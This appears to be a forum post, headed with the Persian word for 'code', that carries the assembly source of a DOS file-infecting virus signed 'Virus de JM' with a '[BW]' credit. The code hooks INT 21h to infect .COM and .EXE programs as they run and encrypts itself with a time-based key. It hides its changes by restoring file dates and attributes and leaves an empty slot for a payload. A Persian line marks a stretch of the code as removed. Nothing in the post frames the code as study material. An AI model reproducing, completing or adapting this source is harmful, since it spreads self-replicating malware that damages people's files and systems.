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کد:
; VIRUS.ASM : Virus de JM. JA JA JA ....
PING equ 0F0D0h
PONG equ 07F98h
MARKER equ 01818h
code segment
org 0
assume cs:code,ds:code
start:
db 0E9h,3,0 ; to virus
host:
db 0CDh,20h,0 ; host program
virus_begin:
db 0BBh ; decryption module
code_offset dw offset virus_code
mov si,VIRUS_SIZE / 2 + 1
decrypt:
db 02Eh,081h,07h ; ADD CS:[BX]
........
اين قسمت حدف شد
push cs ; copy virus into memory
pop ds
xor di,di
mov si,bp
mov cx,(virus_end - start) / 2 + 1
rep movsw
xor ax,ax ; capture interrupts
mov ds,ax
mov si,21h * 4 ; get original int 21
mov di,offset old_int_21
movsw
movsw
mov word ptr ds:[si - 4],offset new_int_21
mov ds:[si - 2],es ; and set new int 21
installed:
call activate ; activation routine
pop es ds ; restore segregs
cmp sp,MARKER ; check for .EXE
je exe_exit
com_exit:
lea si,[bp + host] ; restore host program
mov di,100h
push di
movsw
movsb
call fix_regs ; fix up registers
ret ; and leave
exe_exit:
mov ax,ds ; fix up return address
add ax,10h
push ax
add ax,cs:[bp + exe_cs]
mov cs:[bp + return_cs],ax
mov ax,cs:[bp + exe_ip]
mov cs:[bp + return_ip],ax
pop ax
add ax,cs:[bp + exe_ss] ; restore stack
cli
mov ss,ax
mov sp,cs:[bp + exe_sp]
call fix_regs ; fix up registers
sti
db 0EAh ; back to host program
return_ip dw 0
return_cs dw 0
exe_cs dw -16 ; orig CS:IP
exe_ip dw 103h
exe_sp dw -2 ; orig SS:SP
exe_ss dw -16
fix_regs:
xor ax,ax
cwd
xor bx,bx
mov si,100h
xor di,di
xor bp,bp
ret
; interrupt 21 handler
int_21:
pushf
call dword ptr cs:[old_int_21]
ret
new_int_21:
cmp ax,PING ; residency test
je ping_pong
cmp ax,4B00h ; execute program
je execute
int_21_exit:
db 0EAh ; never mind ...
old_int_21 dd 0
ping_pong:
mov dx,PONG
iret
execute:
push ax bx cx dx si di ds es
xor ax,ax ; critical error handler
mov es,ax ; routine - catch int 24
mov es:[24h * 4],offset int_24
mov es:[24h * 4 + 2],cs
mov ax,4300h ; change attributes
int 21h
push cx dx ds
xor cx,cx
call set_attributes
mov ax,3D02h ; open file
int 21h
jc cant_open
xchg bx,ax
push cs ; CS = DS
pop ds
mov ax,5700h ; save file date/time
int 21h
push cx dx
mov ah,3Fh
mov cx,28
mov dx,offset read_buffer
int 21h
cmp word ptr read_buffer,'ZM' ; .EXE?
je infect_exe ; yes, infect as .EXE
mov al,2 ; move to end of file
call move_file_ptr
cmp dx,65279 - (VIRUS_SIZE + 3)
ja dont_infect ; too big, don't infect
sub dx,VIRUS_SIZE + 3 ; check for previous infection
cmp dx,word ptr read_buffer + 1
je dont_infect
add dx,VIRUS_SIZE + 3
mov word ptr new_jump + 1,dx
add dx,103h
call encrypt_code ; encrypt virus
mov dx,offset read_buffer ; save original program head
int 21h
mov ah,40h ; write virus to file
mov cx,VIRUS_SIZE
mov dx,offset encrypt_buffer
int 21h
xor al,al ; back to beginning of file
call move_file_ptr
mov dx,offset new_jump ; and write new jump
int 21h
fix_date_time:
pop dx cx
mov ax,5701h ; restore file date/time
int 21h
close:
pop ds dx cx ; restore attributes
call set_attributes
mov ah,3Eh ; close file
int 21h
cant_open:
pop es ds di si dx cx bx ax
jmp int_21_exit ; leave
set_attributes:
mov ax,4301h
int 21h
ret
dont_infect:
pop cx dx ; can't infect, skip
jmp close
move_file_ptr:
mov ah,42h ; move file pointer
cwd
xor cx,cx
int 21h
mov dx,ax ; set up registers
mov ah,40h
mov cx,3
ret
infect_exe:
cmp word ptr read_buffer[26],0
jne dont_infect ; overlay, don't infect
cmp word ptr read_buffer[16],MARKER
je dont_infect ; infected already
les ax,dword ptr read_buffer[20]
mov exe_cs,es ; CS
mov exe_ip,ax ; IP
les ax,dword ptr read_buffer[14]
mov exe_ss,ax ; SS
mov exe_sp,es ; SP
mov word ptr read_buffer[16],MARKER
mov ax,4202h ; to end of file
cwd
xor cx,cx
int 21h
push ax dx ; save file size
push bx
mov cl,12 ; calculate offsets for CS
shl dx,cl ; and IP
mov bx,ax
mov cl,4
shr bx,cl
add dx,bx
and ax,15
pop bx
sub dx,word ptr read_buffer[8]
mov word ptr read_buffer[22],dx
mov word ptr read_buffer[20],ax
add dx,100
mov word ptr read_buffer[14],dx
pop dx ax ; calculate prog size
add ax,VIRUS_SIZE
adc dx,0
mov cx,512 ; in pages
div cx ; then save results
inc ax
mov word ptr read_buffer[2],dx
mov word ptr read_buffer[4],ax
mov dx,word ptr read_buffer[20]
call encrypt_code ; encrypt virus
mov ah,40h
mov cx,VIRUS_SIZE + 3
mov dx,offset encrypt_buffer
int 21h
mov ax,4200h ; back to beginning
cwd
xor cx,cx
int 21h
mov ah,40h ; and fix up header
mov cx,28
mov dx,offset read_buffer
int 21h
jmp fix_date_time ; done
courtesy_of db '[BW]',0
signature db 'Virus de JM. JA JA JA ....',0
activate:
; Insert your routine here
ret
encrypt_code:
push ax cx
push dx
xor ah,ah ; get time for random number
int 1Ah
mov cipher,dx ; save encryption key
pop cx
add cx,virus_code - virus_begin
mov code_offset,cx ; save code offset
push cs ; ES = CS
pop es
mov si,offset virus_begin ; move decryption module
mov di,offset encrypt_buffer
mov cx,virus_code - virus_begin
rep movsb
mov cx,VIRUS_SIZE / 2 + 1
encrypt:
lodsw ; encrypt virus code
sub ax,dx
stosw
loop encrypt
pop cx ax
ret
int_24:
mov al,3 ; int 24 handler
iret
new_jump db 0E9h,0,0
virus_end:
VIRUS_SIZE equ virus_end - virus_begin
read_buffer db 28 dup (?) ; read buffer
encrypt_buffer db VIRUS_SIZE dup (?) ; encryption buffer
end_heap:
MEM_SIZE equ end_heap - start
code ends
end start
